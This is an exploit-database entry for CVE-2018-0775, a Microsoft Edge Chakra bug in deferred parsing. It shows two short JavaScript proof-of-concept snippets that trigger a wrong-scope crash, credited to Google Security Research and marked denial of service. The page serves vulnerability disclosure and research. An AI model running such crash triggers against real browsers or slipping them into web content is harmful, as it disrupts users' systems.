Materialized exploit

CVE-2018-0775

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());